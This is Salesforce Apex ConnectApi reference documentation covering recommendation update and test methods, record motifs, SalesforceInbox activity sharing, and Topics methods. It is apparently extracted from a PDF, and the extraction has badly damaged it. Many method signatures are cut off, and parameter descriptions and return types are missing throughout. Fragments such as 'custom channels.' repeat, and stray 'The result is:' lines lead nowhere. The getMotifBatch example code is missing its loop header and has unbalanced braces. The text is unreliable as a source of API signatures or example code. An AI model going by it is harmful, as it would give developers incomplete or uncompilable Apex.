recommendationAudience)
Update a recommendation audience.
API Version
35.0
Requires Chatter
No
1490
Signature
public static ConnectApi.RecommendationAudience updateRecommendationAudience(String
communityId, String recommendationAudienceId, ConnectApi.RecommendationAudienceInput
recommendationAudience)
Parameters
communityId
Type: String
Type: String
recommendationAudience
Type: ConnectApi.RecommendationAudienceInput
A ConnectApi.RecommendationAudienceInput object.
Return Value
Usage
updateRecommendationDefinition(communityId, recommendationDefinitionId, name, title,

actionUrl, actionUrlName, explanation)
Update a recommendation definition with the specified parameters.
API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.RecommendationDefinition updateRecommendationDefinition(String
communityId, String recommendationDefinitionId, String name, String title, String
actionUrl, String actionUrlName, String explanation recommendationDefinition)
1491
Parameters
communityId
Type: String
Type: String
name
Type: String
The name of the recommendation definition. The name is displayed in Setup.
title
Type: String
The title of the recommendation definition.
actionUrl
Type: String
The URL for acting on the recommendation, for example, the URL to join a group.
actionUrlName
Type: String
The text label for the action URL in the user interface, for example, “Launch.”
explanation
Type: String
The explanation, or body, of the recommendation.
Return Value
Usage
updateRecommendationDefinition(communityId, recommendationDefinitionId,
recommendationDefinition)
Update a recommendation definition.
API Version
35.0
Requires Chatter
No
1492
Signature
public static ConnectApi.RecommendationDefinition updateRecommendationDefinition(String
communityId, String recommendationDefinitionId, ConnectApi.RecommendationDefinitionInput
recommendationDefinition)
Parameters
communityId
Type: String
Type: String
recommendationDefinition
Type: ConnectApi.RecommendationDefinitionInput
A ConnectApi.RecommendationDefinitionInput object containing the properties to update.
Return Value
Usage
updateRecommendationDefinitionPhoto(communityId, recommendationDefinitionId,
fileUpload)
Update a recommendation definition photo with a file that hasn’t been uploaded.
API Version
35.0
Requires Chatter
Yes
Signature
public static ConnectApi.Photo updateRecommendationDefinitionPhoto(String communityId,
String recommendationDefinitionId, ConnectApi.BinaryInput fileUpload)
1493
Parameters
communityId
Type: String
Type: String
fileUpload
Return Value
Usage
updateRecommendationDefinitionPhoto(communityId, recommendationDefinitionId, fileId,

versionNumber)
Update a recommendation definition photo with a file that’s already uploaded.
API Version
35.0
Requires Chatter
Yes
Signature
public static ConnectApi.Photo updateRecommendationDefinitionPhoto(String communityId,
String recommendationDefinitionId, String fileId, Integer versionNumber)
Parameters
communityId
Type: String
Type: String
1494
fileId
Type: String
versionNumber
Type: Integer
Return Value
Usage
updateRecommendationDefinitionPhotoWithAttributes(communityId,
recommendationDefinitionId, photo)
Update a recommendation definition photo with a file that’s been uploaded but requires cropping.
API Version
35.0
Requires Chatter
Yes
Signature
public static ConnectApi.Photo updateRecommendationDefinitionPhotoWithAttributes(String
communityId, String recommendationDefinitionId, ConnectApi.PhotoInput photo)
Parameters
communityId
Type: String
Type: String
photo
1495
Return Value
Usage
updateRecommendationDefinitionPhotoWithAttributes(communityId,
recommendationDefinitionId, photo, fileUpload)
Update a recommendation definition photo with a file that hasn’t been uploaded and requires cropping.
API Version
35.0
Requires Chatter
Yes
Signature
public static ConnectApi.Photo updateRecommendationDefinitionPhotoWithAttributes(String
communityId, String recommendationDefinitionId, ConnectApi.PhotoInput photo,
Parameters
communityId
Type: String
Type: String
photo
fileUpload
Return Value
1496
Usage
updateScheduledRecommendation(communityId, scheduledRecommendationId,
scheduledRecommendation)
Update a scheduled recommendation.
API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.ScheduledRecommendation updateScheduledRecommendation(String
communityId, String scheduledRecommendationId, ConnectApi.ScheduledRecommendationInput
scheduledRecommendation)
Parameters
communityId
Type: String
Type: String
scheduledRecommendation
Type: ConnectApi.ScheduledRecommendationInput
A ConnectApi.ScheduledRecommendationInput object containing the properties to update.
Return Value
Usage
1497


The result is:

updateScheduledRecommendation(communityId, scheduledRecommendationId, rank, enabled,

Update a scheduled recommendation with the specified parameters.
API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.ScheduledRecommendation updateScheduledRecommendation(String
communityId, String scheduledRecommendationId, Integer rank, Boolean enabled, String
Parameters
communityId
Type: String
1498
Type: String
rank
Type: Integer
enabled
Type: Boolean
Type: String
Return Value
Usage


1499
The result is:

Recommendations Test Methods

The following are the test methods for Recommendations. All methods are static.
IN THIS SECTION:
Registers a ConnectApi.RecommendationCollection object to be returned when getRecommendationForUser
is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
setTestGetRecommendationsForUser(communityId, userId, contextAction, contextObjectId, maxResults, result)
Registers a ConnectApi.RecommendationCollection object to be returned when getRecommendationsForUser
setTestGetRecommendationsForUser(communityId, userId, contextAction, contextObjectId, channel, maxResults, result)
setTestGetRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, maxResults, result)
setTestGetRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, channel, maxResults, result)
setTestGetRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, maxResults,
result)
setTestGetRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, channel,
maxResults, result)

Registers a ConnectApi.RecommendationCollection object to be returned when getRecommendationForUser
1500
API Version
33.0
Requires Chatter
Yes
Signature
public static Void setTestGetRecommendationForUser(String communityId, String userId,
ConnectApi.RecommendationActionType action, String objectId,
ConnectApi.RecommendationCollection result)
Parameters
communityId
Type: String
userId
Type: String
action
objectId
Type: String
• If action is view, objectId is a user ID, file ID, group ID, record ID, custom recommendation ID, the enum Today for
static recommendations, or an article ID (version 37.0 and later).
result
1501
Return Value
Type: Void
SEE ALSO:
setTestGetRecommendationsForUser(communityId, userId, contextAction, contextObjectId,

maxResults, result)
API Version
33.0–35.0
Important: In version 36.0 and later, use setTestGetRecommendationsForUser(communityId, userId,

contextAction, contextObjectId, channel, maxResults, result).
Requires Chatter
Yes
Signature
public static Void setTestGetRecommendationsForUser(String communityId, String userId,
maxResults, ConnectApi.RecommendationCollection result)
Parameters
communityId
Type: String
userId
Type: String
contextAction
• follow
• view
1502
contextObjectId
Type: String
maxResults
Type: Integer
result
Return Value
Type: Void
SEE ALSO:
getRecommendationsForUser(communityId, userId, contextAction, contextObjectId, maxResults)
setTestGetRecommendationsForUser(communityId, userId, contextAction, contextObjectId,

channel, maxResults, result)
API Version
36.0
Requires Chatter
Yes
Signature
ConnectApi.RecommendationChannel channel, Integer maxResults,
1503
Parameters
communityId
Type: String
userId
Type: String
contextAction
• follow
• view
contextObjectId
Type: String
later).
channel
custom channels.
custom channels.
custom channels.
custom channels.
maxResults
Type: Integer
1504
result
Return Value
Type: Void
SEE ALSO:
getRecommendationsForUser(communityId, userId, contextAction, contextObjectId, channel, maxResults)
setTestGetRecommendationsForUser(communityId, userId, action, contextAction,

contextObjectId, maxResults, result)
API Version
33.0–35.0

action, contextAction, contextObjectId, channel, maxResults, result).
Requires Chatter
Yes
Signature
ConnectApi.RecommendationActionType action, ConnectApi.RecommendationActionType
contextAction, String contextObjectId, Integer maxResults,
Parameters
communityId
Type: String
userId
Type: String
action
1505

contextAction
• follow
• view
contextObjectId
Type: String
maxResults
Type: Integer
result
Return Value
Type: Void
SEE ALSO:
getRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, maxResults)
setTestGetRecommendationsForUser(communityId, userId, action, contextAction,

contextObjectId, channel, maxResults, result)
API Version
36.0
1506
Requires Chatter
Yes
Signature
ConnectApi.RecommendationActionType action, ConnectApi.RecommendationActionType
contextAction, String contextObjectId, ConnectApi.RecommendationChannel channel, Integer
Parameters
communityId
Type: String
userId
Type: String
action
contextAction
• follow
• view
contextObjectId
Type: String
later).
channel
1507
custom channels.
custom channels.
custom channels.
custom channels.
maxResults
Type: Integer
result
Return Value
Type: Void
SEE ALSO:
getRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, channel, maxResults)
setTestGetRecommendationsForUser(communityId, userId, action, objectCategory,

contextAction, contextObjectId, maxResults, result)
API Version
33.0–35.0

action, objectCategory, contextAction, contextObjectId, channel, maxResults, result).
Requires Chatter
Yes
1508
Signature
ConnectApi.RecommendationActionType action, String objectCategory,
Parameters
communityId
Type: String
userId
Type: String
action
objectCategory
Type: String
• If action is follow, objectCategory is users, files, or records.
• If action is view, objectCategory is users, files, groups, records,custom, or apps.
• If action is follow, objectCategory is 005 (users), 069 (files), or 001 (accounts), for example.
(static recommendations), or 001 (accounts), for example.
contextAction
• follow
• view
contextObjectId
Type: String
1509
maxResults
Type: Integer
result
Return Value
Type: Void
SEE ALSO:
getRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, maxResults)
setTestGetRecommendationsForUser(communityId, userId, action, objectCategory,

contextAction, contextObjectId, channel, maxResults, result)
API Version
36.0
Requires Chatter
Yes
Signature
ConnectApi.RecommendationActionType action, String objectCategory,
ConnectApi.RecommendationChannel channel, Integer maxResults,
Parameters
communityId
Type: String
userId
Type: String
1510

action
objectCategory
Type: String
• If action is follow, objectCategory is users, files, records, or topics.
• If action is view, objectCategory is users, files, groups, records,custom, apps, or articles
• If action is follow, objectCategory is 005 (users), 069 (files), 0TO (topics), or 001 (accounts), for example.
(static recommendations), 001 (accounts), or kA0 (articles), for example, (version 370 and later).
contextAction
• follow
• view
contextObjectId
Type: String
later).
channel
custom channels.
1511
custom channels.
custom channels.
custom channels.
maxResults
Type: Integer
result
Return Value
Type: Void
SEE ALSO:
getRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, channel, maxResults)
Records Class
Access information about record motifs, which are small icons used to distinguish record types in the Salesforce UI.
Namespace
ConnectApi
Records Methods
The following are methods for Records. All methods are static.
IN THIS SECTION:
getMotif(communityId, idOrPrefix)
Returns a Motif object that contains the URLs for a set of small, medium, and large motif icons for the specified record. It can also
contain a base color for the record.
getMotifBatch(communityId, idOrPrefixList)
Gets a motif for the specified list of objects. Returns a list of BatchResult objects containing ConnectApi.Motif objects.
1512
getMotif(communityId, idOrPrefix)
Returns a Motif object that contains the URLs for a set of small, medium, and large motif icons for the specified record. It can also
contain a base color for the record.
API Version
28.0
Requires Chatter
No
Signature
public static ConnectApi.Motif getMotif(String communityId, String idOrPrefix)
Parameters
communityId
Type: String
idOrPrefix
Type: String
An ID or key prefix.
Return Value
Type: ConnectApi.Motif
Usage
Each Salesforce record type has its own set of motif icons. See ConnectApi.Motif.
getMotifBatch(communityId, idOrPrefixList)
Gets a motif for the specified list of objects. Returns a list of BatchResult objects containing ConnectApi.Motif objects.
API Version
31.0
Requires Chatter
No
1513
Signature
public static ConnectApi.BatchResult[] getMotifBatch(String communityId, List<String>
idOrPrefixList)
Parameters
communityId
Type: String
idOrPrefixList
Type: List<String>
A list of object IDs or prefixes.
Return Value
Type: BatchResult[]
The BatchResult.getResults() method returns a ConnectApi.Motif object.
Example
List<String> prefixIds = new List<String> { '001', '01Z', '069' };
// Get info about the motifs of all records in the list.

ConnectApi.BatchResult[] batchResults = ConnectApi.Records.getMotifBatch(communityId,
prefixIds);

// Print the color of each motif.
ConnectApi.Motif motif;
if(batchResult.getResult() instanceof ConnectApi.Motif) {
motif = (ConnectApi.Motif) batchResult.getResult();
}
System.debug(motif.color);
}
else {
}
}
SalesforceInbox Class
Access information about Automated Activity Capture, which is available in Einstein and Salesforce Inbox.
1514
Namespace
ConnectApi
SalesforceInbox Methods
The following are methods for SalesforceInbox. All methods are static.
IN THIS SECTION:
shareActivity(activityId, sharingInfo)
Share specific emails or events with certain groups of users.
shareActivity(activityId, sharingInfo)
Share specific emails or events with certain groups of users.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.ActivitySharingResult shareActivity(String activityId,
ConnectApi.ActivitySharingInput sharingInfo)
Parameters
activityId
Type: String
The ID of the activity.
sharingInfo
Type: ConnectApi.ActivitySharingInput
A ConnectApi.ActivitySharingInput object.
Return Value
Type: ConnectApi.ActivitySharingResult
Usage
This method is a feature of both Sales Cloud Einstein and Inbox. It lets users connect their email and calendar to Salesforce. Then, their
emails and events are automatically added to related Salesforce records. Users can specify who their individual emails and events are
shared with.
1515
Topics Class
Access information about topics, such as their descriptions, the number of people talking about them, related topics, and information
about groups contributing to the topic. Update a topic’s name or description, merge topics, and add and remove topics from records
and feed items.
Namespace
ConnectApi
Topics Methods
The following are methods for Topics. All methods are static.
IN THIS SECTION:
assignTopic(communityId, recordId, topicId)
Assigns the specified topic to the specified record or feed item. Only users with the Assign Topics permission can add existing topics
to records or feed items. Administrators must enable topics for objects before users can add topics to records of that object type.
assignTopicByName(communityId, recordId, topicName)
Assigns the specified topic to the specified record or feed item. Only users with the Assign Topics permission can add existing topics
to records or feed items. Only users with the Create Topics permission can add new topics to records or feed items. Administrators
must enable topics for objects before users can add topics to records of that object type.
createTopic(communityId, name, description)
Creates a topic. Only users with the Create Topics permission can create a topic.
createTopicDataCategoryRules(communityId, dataCategoryGroup, dataCategory, topicNames)
Create topic and article assignment rules by data category.
deleteTopic(communityId, topicId)
Deletes the specified topic. Only users with the Delete Topics or Modify All Data permission can delete topics.
getGroupsRecentlyTalkingAboutTopic(communityId, topicId)
Returns information about the five groups that most recently contributed to the specified topic.
getRecentlyTalkingAboutTopicsForGroup(communityId, groupId)
Returns up to five topics most recently used in the specified group.
getRecentlyTalkingAboutTopicsForUser(communityId, userId)
Topics recently used by the specified user. Get up to five topics most recently used by the specified user.
getRelatedTopics(communityId, topicId)
List of five topics most closely related to the specified topic.
getTopic(communityId, topicId)
Returns information about the specified topic.
getTopicDataCategoryRules(communityId, dataCategoryGroup, dataCategory)
Get topic and article assignment rules by data category.
getTopics(communityId, recordId)
Returns the first page of topics assigned to the specified record or feed item. Administrators must enable topics for objects before
users can add topics to records of that object type.
1516
getTopics(communityId)
Returns the first page of topics for the organization.
getTopics(communityId, sortParam)
Returns the first page of topics for the organization in the specified order.
getTopics(communityId, pageParam, pageSize)
Returns the topics for the specified page.
getTopics(communityId, pageParam, pageSize, sortParam)
Returns the topics for the specified page in the specified order.
getTopics(communityId, q, sortParam)
Returns the topics that match the specified search criteria in the specified order.
getTopics(communityId, q, pageParam, pageSize)
Returns the topics that match the specified search criteria for the specified page.
getTopics(communityId, q, pageParam, pageSize, sortParam)
Returns the topics that match the specified search criteria for the specified page in the specified order.
getTopics(communityId, q, exactMatch)
Returns the topic that matches the exact, case-insensitive name.
getTopicsOrFallBackToRenamedTopics(communityId, q, exactMatch, fallBackToRenamedTopics)
If there isn’t an exact match, returns the most recent renamed topic match.
getTopicSuggestions(communityId, recordId, maxResults)
Returns suggested topics for the specified record or feed item. Administrators must enable topics for objects before users can see
suggested topics for records of that object type.
getTopicSuggestions(communityId, recordId)
getTopicSuggestionsForText(communityId, text, maxResults)
Returns suggested topics for the specified string of text.
getTopicSuggestionsForText(communityId, text)
getTrendingTopics(communityId)
List of the top five trending topics for the organization.
getTrendingTopics(communityId, maxResults)
mergeTopics(communityId, topicId, idsToMerge)
Merges up to five secondary topics with the specified primary topic.
reassignTopicDataCategoryRules(communityId, dataCategoryGroup, dataCategory, topicNames)
Reassign topic and article assignment rules by data category by deleting the existing rules and creating new rules.
1517
reassignTopicsByName(communityId, recordId, topicNames)

Reassigns all the topics on a record or feed item, that is, removes all the assigned topics on a record or feed item and adds topics.
Optionally, provides a list of suggested topics to assign to a record or feed item to improve future topic suggestions. Only users with
the Assign Topics permission can remove topics from records or feed items and add existing topics to records or feed items. Only
users with the Create Topics permission can add new topics to records or feed items. Administrators must enable topics for objects
before users can add topics to records of that object type.
unassignTopic(communityId, recordId, topicId)
Removes the specified topic from the specified record or feed item. Only users with the Assign Topics permission can remove topics
from feed items or records. Administrators must enable topics for objects before users can add topics to records of that object type.
updateTopic(communityId, topicId, topic)
Updates the description or name of the specified topic or merges up to five secondary topics with the specified primary topic.
updateTopicsForArticlesInDataCategory(communityId, dataCategoryGroup, dataCategory, articleTopicAssignmentJob)
Assign topics to articles and unassign topics from articles in a data category.
assignTopic(communityId, recordId, topicId)

Assigns the specified topic to the specified record or feed item. Only users with the Assign Topics permission can add existing topics to
records or feed items. Administrators must enable topics for objects before users can add topics to records of that object type.
API Version
29.0
Requires Chatter
No
Signature
public static ConnectApi.Topic assignTopic(String communityId, String recordId, String
topicId)
Parameters
communityId
Type: String
recordId
Type: String
The ID for a record or feed item.
topicId
Type: String
The ID for a topic.
Return Value
Type: ConnectApi.Topic
1518
assignTopicByName(communityId, recordId, topicName)

Assigns the specified topic to the specified record or feed item. Only users with the Assign Topics permission can add existing topics to
records or feed items. Only users with the Create Topics permission can add new topics to records or feed items. Administrators must
enable topics for objects before users can add topics to records of that object type.
API Version
29.0
Requires Chatter
No
Signature
public static ConnectApi.Topic assignTopicByName(String communityId, String recordId,
String topicName)
Parameters
communityId
Type: String
recordId
Type: String
The ID of the record or feed item to which to assign the topic.
topicName
Type: String
The name of a new or existing topic.
Return Value
createTopic(communityId, name, description)

Creates a topic. Only users with the Create Topics permission can create a topic.
API Version
36.0
Requires Chatter
No
1519
Signature
public static ConnectApi.Topic createTopic(String communityId, String name, String
description)
Parameters
communityId
Type: String
name
Type: String
The name of the topic.
description
Type: String
The description of the topic.
Return Value
createTopicDataCategoryRules(communityId, dataCategoryGroup, dataCategory,

topicNames)
Create topic and article assignment rules by data category.
API Version
40.0
Requires Chatter
No
Signature
public static ConnectApi.TopicPage createTopicDataCategoryRules(String communityId,
String dataCategoryGroup, String dataCategory, ConnectApi.TopicNamesInput topicNames)
Parameters
communityId
Type: String
dataCategoryGroup
Type: String
The data category group used by articles.
1520
dataCategory
Type: String
The data category used by articles.
topicNames
Type: ConnectApi.TopicNamesInput
A ConnectApi.TopicNamesInput object with the names of topics to assign to articles in a data category.
Return Value
Type: ConnectApi.TopicPage
deleteTopic(communityId, topicId)
Deletes the specified topic. Only users with the Delete Topics or Modify All Data permission can delete topics.
API Version
29.0
Requires Chatter
No
Signature
public static Void deleteTopic(String communityId, String topicId)
Parameters
communityId
Type: String,
topicId
Type: String
The ID for a topic.
Return Value
Type: Void
Usage
Topic deletion is asynchronous. If a topic is requested before the deletion completes, the response is 200: Successful and the
isBeingDeleted property of ConnectApi.Topic is true in version 33.0 and later. If a topic is requested after the deletion
completes, the response is 404: NOT_FOUND.
1521
Returns information about the five groups that most recently contributed to the specified topic.
API Version
29.0

32.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterGroupSummaryPage
getGroupsRecentlyTalkingAboutTopic(String communityId, String topicId)
Parameters
communityId
Type: String
topicId
Type: String
The ID for a topic.
Return Value
Type: ConnectApi.ChatterGroupSummaryPage
Usage
SEE ALSO:
setTestGetGroupsRecentlyTalkingAboutTopic(communityId, topicId, result)
Returns up to five topics most recently used in the specified group.
1522
API Version
29.0

32.0
Requires Chatter
Yes
Signature
public static ConnectApi.TopicPage getRecentlyTalkingAboutTopicsForGroup(String
Parameters
communityId
Type: String
groupId
Type: String
The ID for a group.
Return Value
Usage
SEE ALSO:
setTestGetRecentlyTalkingAboutTopicsForGroup(communityId, groupId, result)
Topics recently used by the specified user. Get up to five topics most recently used by the specified user.
API Version
29.0
1523

32.0
Requires Chatter
Yes
Signature
public static ConnectApi.TopicPage getRecentlyTalkingAboutTopicsForUser(String
communityId, String userId)
Parameters
communityId
Type: String
userId
Type: String
The ID for a user.
Return Value
Usage
SEE ALSO:
setTestGetRecentlyTalkingAboutTopicsForUser(communityId, userId, result)
List of five topics most closely related to the specified topic.
Two topics that are assigned to the same feed item at least three times are related.
API Version
29.0

32.0
1524
Requires Chatter
No
Signature
public static ConnectApi.TopicPage getRelatedTopics(String communityId, String topicId)
Parameters
communityId
Type: String
topicId
Type: String
The ID for a topic.
Return Value
Usage
SEE ALSO:
setTestGetRelatedTopics(communityId, topicId, result)
getTopic(communityId, topicId)
Returns information about the specified topic.
API Version
29.0

32.0
Requires Chatter
No
Signature
public static ConnectApi.Topic getTopic(String communityId, String topicId)
1525
Parameters
communityId
Type: String
topicId
Type: String
The ID for a topic.
Return Value
getTopicDataCategoryRules(communityId, dataCategoryGroup, dataCategory)

Get topic and article assignment rules by data category.
API Version
40.0
Requires Chatter
No
Signature
public static ConnectApi.TopicPage getTopicDataCategoryRules(String communityId, String
dataCategoryGroup, String dataCategory)
Parameters
communityId
Type: String
dataCategoryGroup
Type: String
dataCategory
Type: String
Return Value
1526
getTopics(communityId, recordId)
Returns the first page of topics assigned to the specified record or feed item. Administrators must enable topics for objects before users
can add topics to records of that object type.
API Version
29.0

32.0
Requires Chatter
No
Signature
public static ConnectApi.TopicPage getTopics(String communityId, String recordId)
Parameters
communityId
Type: String
recordId
Type: String
Return Value
getTopics(communityId)
Returns the first page of topics for the organization.
API Version
29.0

32.0
Requires Chatter
No
1527
Signature
public static ConnectApi.TopicPage getTopics(String communityId)
Parameters
communityId
Type: String
Return Value
getTopics(communityId, sortParam)
Returns the first page of topics for the organization in the specified order.
API Version
29.0

32.0
Requires Chatter
No
Signature
public static ConnectApi.TopicPage getTopics(String communityId, ConnectApi.TopicSort
sortParam)
Parameters
communityId
Type: String
sortParam
Type: ConnectApi.TopicSort
Values are:
• popularDesc—Sorts topics by popularity with the most popular first. This value is the default.
• alphaAsc—Sorts topics alphabetically.
Return Value
1528
getTopics(communityId, pageParam, pageSize)

Returns the topics for the specified page.
API Version
29.0

32.0
Requires Chatter
No
Signature
public static ConnectApi.TopicPage getTopics(String communityId, Integer pageParam,
Integer pageSize)
Parameters
communityId
Type: String
pageParam
Type: Integer
pageSize
Type: Integer
Return Value
getTopics(communityId, pageParam, pageSize, sortParam)

Returns the topics for the specified page in the specified order.
API Version
29.0

32.0
1529
Requires Chatter
No
Signature
public static ConnectApi.TopicPage getTopics(String communityId, Integer pageParam,
Integer pageSize, ConnectApi.TopicSort sortParam)
Parameters
communityId
Type: String
pageParam
Type: Integer
pageSize
Type: Integer
sortParam
Values are:
Return Value
getTopics(communityId, q, sortParam)
Returns the topics that match the specified search criteria in the specified order.
API Version
29.0

32.0
Requires Chatter
No
1530
Signature
public static ConnectApi.TopicPage getTopics(String communityId, String q,
ConnectApi.TopicSort sortParam)
Parameters
communityId
Type: String
q
Type: String
Specifies the string to search. The string must contain at least two characters, not including wildcards.
sortParam
Values are:
Return Value
getTopics(communityId, q, pageParam, pageSize)

Returns the topics that match the specified search criteria for the specified page.
API Version
29.0

32.0
Requires Chatter
No
Signature
public static ConnectApi.TopicPage getTopics(String communityId, String q, Integer
Parameters
communityId
Type: String
1531

q
Type: String
pageParam
Type: Integer
pageSize
Type: Integer
Return Value
getTopics(communityId, q, pageParam, pageSize, sortParam)

Returns the topics that match the specified search criteria for the specified page in the specified order.
API Version
29.0

32.0
Requires Chatter
No
Signature
public static ConnectApi.TopicPage getTopics(String communityId, String q, Integer
pageParam, Integer pageSize, ConnectApi.TopicSort sortParam)
Parameters
communityId
Type: String
q
Type: String
pageParam
Type: Integer
1532
pageSize
Type: Integer
sortParam
Values are:
Return Value
getTopics(communityId, q, exactMatch)
Returns the topic that matches the exact, case-insensitive name.
API Version
33.0

33.0
Requires Chatter
No
Signature
public static ConnectApi.TopicPage getTopics(String communityId, String q, Boolean
exactMatch)
Parameters
communityId
Type: String
q
Type: String
exactMatch
Type: Boolean
Specify true to find a topic by its exact, case-insensitive name.
1533
Return Value
getTopicsOrFallBackToRenamedTopics(communityId, q, exactMatch,
fallBackToRenamedTopics)
If there isn’t an exact match, returns the most recent renamed topic match.
API Version
35.0

35.0
Requires Chatter
No
Signature
public static ConnectApi.TopicPage getTopicsOrFallBackToRenamedTopics(String communityId,
String q, Boolean exactMatch, Boolean fallBackToRenamedTopics)
Parameters
communityId
Type: String
q
Type: String
exactMatch
Type: Boolean
Specify true to find a topic by its exact, case-insensitive name or to find the most recent renamed topic match if there isn’t an
exact match.
fallBackToRenamedTopics
Type: Boolean
Specify true and if there isn’t an exact match, the most recent renamed topic match is returned. If there are multiple renamed
topic matches, only the most recent is returned. If there are no renamed topic matches, an empty collection is returned.
Return Value
1534

API Version
29.0
Requires Chatter
No
Signature
public static ConnectApi.TopicSuggestionPage getTopicSuggestions(String communityId,
String recordId, Integer maxResults)
Parameters
communityId
Type: String
recordId
Type: String
maxResults
Type: Integer
Maximum number of topic suggestions that get returned. The default is 5. Value must be greater than 0 and less than or equal to
25.
Return Value
Type: ConnectApi.TopicSuggestionPage
Usage
SEE ALSO:
setTestGetTopicSuggestions(communityId, recordId, maxResults, result)
1535
API Version
29.0
Requires Chatter
No
Signature
public static ConnectApi.TopicSuggestionPage getTopicSuggestions(String communityId,
String recordId)
Parameters
communityId
Type: String
recordId
Type: String
Return Value
Usage
SEE ALSO:
setTestGetTopicSuggestions(communityId, recordId, result)

API Version
29.0
Requires Chatter
No
1536
Signature
public static ConnectApi.TopicSuggestionPage getTopicSuggestionsForText(String
communityId, String text, Integer maxResults)
Parameters
communityId
Type: String
text
Type: String
String of text.
maxResults
Type: Integer
25.
Return Value
Usage
SEE ALSO:
setTestGetTopicSuggestionsForText(communityId, text, maxResults, result)
API Version
29.0
Requires Chatter
No
Signature
public static ConnectApi.TopicSuggestionPage getTopicSuggestionsForText(String
communityId, String text)
1537
Parameters
communityId
Type: String
text
Type: String
String of text.
Return Value
Usage
SEE ALSO:
setTestGetTopicSuggestionsForText(communityId, text, result)
API Version
29.0

32.0
Requires Chatter
No
Signature
public static ConnectApi.TopicPage getTrendingTopics(String communityId)
Parameters
communityId
Type: String
1538
Return Value
Usage
SEE ALSO:
setTestGetTrendingTopics(communityId, result)
API Version
29.0

32.0
Requires Chatter
No
Signature
public static ConnectApi.TopicPage getTrendingTopics(String communityId, Integer
maxResults)
Parameters
communityId
Type: String
maxResults
Type: Integer
25.
Return Value
1539
Usage
SEE ALSO:
setTestGetTrendingTopics(communityId, maxResults, result)
mergeTopics(communityId, topicId, idsToMerge)

Merges up to five secondary topics with the specified primary topic.
API Version
33.0
Requires Chatter
No
Signature
public static ConnectApi.Topic mergeTopics(String communityId, String topicId,
List<String> idsToMerge)
Parameters
communityId
Type: String
topicId
Type: String
The ID for the primary topic for the merge. If this topic is a managed topic, it retains its topic type, topic images, and children topics.
idsToMerge
Type: List<String>
A list of up to five comma-separated secondary topic IDs to merge with the primary topic. If any of these secondary topics are
managed topics, they lose their topic type, topic images, and children topics. Their feed items are reassigned to the primary topic.
Return Value
Usage
Only users with the Delete Topics or Modify All Data permission can merge topics.
1540
reassignTopicDataCategoryRules(communityId, dataCategoryGroup, dataCategory,

topicNames)
Reassign topic and article assignment rules by data category by deleting the existing rules and creating new rules.
API Version
40.0
Requires Chatter
No
Signature
public static ConnectApi.TopicPage reassignTopicDataCategoryRules(String communityId,
String dataCategoryGroup, String dataCategory, ConnectApi.TopicNamesInput topicNames)
Parameters
communityId
Type: String
dataCategoryGroup
Type: String
dataCategory
Type: String
topicNames
A ConnectApi.TopicNamesInput object with the names of topics to reassign to articles in a data category.
Return Value

Reassigns all the topics on a record or feed item, that is, removes all the assigned topics on a record or feed item and adds topics.
Optionally, provides a list of suggested topics to assign to a record or feed item to improve future topic suggestions. Only users with the
Assign Topics permission can remove topics from records or feed items and add existing topics to records or feed items. Only users with
the Create Topics permission can add new topics to records or feed items. Administrators must enable topics for objects before users
can add topics to records of that object type.
API Version
35.0
1541
Requires Chatter
No
Signature
public static ConnectApi.TopicPage reassignTopicsByName(String communityId, String
recordId, ConnectApi.TopicNamesInput topicNames)
Parameters
communityId
Type: String
recordId
Type: String
The ID of the record or feed item to which to assign the topic.
topicNames
A list of topics to replace the currently assigned topics. Optionally, a list of suggested topics to assign to improve future topic
suggestions.
Return Value
unassignTopic(communityId, recordId, topicId)

Removes the specified topic from the specified record or feed item. Only users with the Assign Topics permission can remove topics
from feed items or records. Administrators must enable topics for objects before users can add topics to records of that object type.
API Version
29.0
Requires Chatter
No
Signature
public static Void unassignTopic(String communityId, String recordId, String topicId)
Parameters
communityId
Type: String
1542
recordId
Type: String
topicId
Type: String
The ID for a topic.
Return Value
Type: Void

Updates the description or name of the specified topic or merges up to five secondary topics with the specified primary topic.
API Version
29.0
Requires Chatter
No
Signature
public static ConnectApi.Topic updateTopic(String communityId, String topicId,
ConnectApi.TopicInput topic)
Parameters
communityId
Type: String
topicId
Type: String
The ID for a topic.
topic
Type: ConnectApi.TopicInput
A ConnectApi.TopicInput object containing the name and description of the topic or up to five comma-separated secondary
topic IDs to merge with the primary topic.
Return Value
1543
Usage
Only users with the Edit Topics or Modify All Data permission can update topic names and descriptions. Only users with the Delete Topics
or Modify All Data permission can merge topics.
updateTopicsForArticlesInDataCategory(communityId, dataCategoryGroup, dataCategory,

articleTopicAssignmentJob)
Assign topics to articles and unassign topics from articles in a data category.
API Version
40.0
Requires Chatter
No
Signature
public static ConnectApi.TopicPage updateTopicsForArticlesInDataCategory(String
communityId, String dataCategoryGroup, String dataCategory,
ConnectApi.ArticleTopicAssignmentJobInput articleTopicAssignmentJob)
Parameters
communityId
Type: String
dataCategoryGroup
Type: String
dataCategory
Type: String
articleTopicAssignmentJob
Type: ConnectApi.ArticleTopicAssignmentJobInput
A ConnectApi.ArticleTopicAssignmentJobInput object that indicates the operation to take on which topics.
Return Value
Topics Test Methods

The following are the test methods for Topics. All methods are static.
1544
setTestGetGroupsRecentlyTalkingAboutTopic(communityId, topicId, result)

Registers a ConnectApi.ChatterGroupSummaryPage object to be returned when
ConnectApi.getGroupsRecentlyTalkingAboutTopic is called in a test context.
API Version
29.0
Signature
public static Void setTestGetGroupsRecentlyTalkingAboutTopic(String communityId, String
topicId, ConnectApi.ChatterGroupSummaryPage result)
Parameters
communityId
Type: String
topicId
Type: String
The ID for a topic.
result
Type: ConnectApi.ChatterGroupSummaryPage
Return Value
Type: Void
SEE ALSO:
setTestGetRecentlyTalkingAboutTopicsForGroup(communityId, groupId, result)

Registers a ConnectApi.TopicPage object to be returned when the
ConnectApi.getRecentlyTalkingAboutTopicsForGroup method is called in a test context.
API Version
29.0
Signature
